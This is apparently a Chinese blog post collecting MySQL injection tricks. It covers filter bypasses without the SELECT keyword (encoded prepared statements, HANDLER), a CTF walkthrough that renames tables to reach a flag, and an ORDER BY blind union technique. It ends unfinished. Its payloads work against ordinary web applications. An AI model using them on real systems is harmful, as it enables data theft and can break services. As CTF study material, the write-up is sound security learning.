Mysql 注入的一些tips
用来总结Mysql注入的一些奇技淫巧
No Select
不使用select情况下的注入
预处理
当注入语句可以多行执行的时候可以采用预处理的形式。
1  | set @s = "select * from users";  | 
在select被拦截的情况下,可以将@s的值编码处理绕过
十六进制编码
1  | set @s = 0x73656c656374202a2066726f6d2075736572733b;  | 
或者是采用char
1  | set @s = char(115,101,108,101,99,116,32,42,32,102,114,111,109,32,117,115,101,114,115);  | 
当然也可以使用concat
1  | set @sql=concat('sel','ect * from users');  | 
需要注意的是在prepare语句中如果不是采用变量的形式,不能用编码,例如
1  | mysql> prepare t from char(115,101,108,101,99,116,32,42,32,102,114,111,109,32,117,115,101,114,115);  | 
同样是在可多行执行的情况下,在已知列名和表名的基础上,可以通过修改表名来获取想要的数据,不过这种方法危害极大可能导致web服务无法正常运行。
以强网杯的一道题为例
对select进行了拦截
1  | preg_match("/select|update|delete|drop|insert|where|\./i", $inject);  | 
通过show tables以及desc table的形式了解到存在两个表,1919810931114514以及    words,而flag在1919810931114514表中
所以一口气把words表修改为words1,把1919810931114514修改为words,同时,要给1919810931114514表增加一个id字段,总的payload就是
1  | RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` add id int;  | 
再使用' or '1'='1进行查询即可得到flag。
此外,还有另一种方法,handler
1  | handler table_name open;  | 
Union
盲注
Union Select没有被拦截,无疑是一件快乐的事,但如果括号和@不能用呢?
这个时候可以采用结合order by进行盲注的形式获取数据
不使用order by 情况下的查询
1  | mysql> select * from flag union select 1,2,3;  | 
因为order by 是根据ascii顺序进行排序的,所以当我们按第三列来进行排序
1  | mysql> select * from flag union select 1,2,3 order by 3;  | 
那么如何利用这一点进行注入呢?
假设submission_date可以在页面中被观察到,我们可以通过改变union select第三列的值来根据回显判断flag
1  | mysql> select * from flag union select 1,2,'f' order by 3;  | 
未完待续
我要谈儿女情长,谈国家这种小事就先放一边啦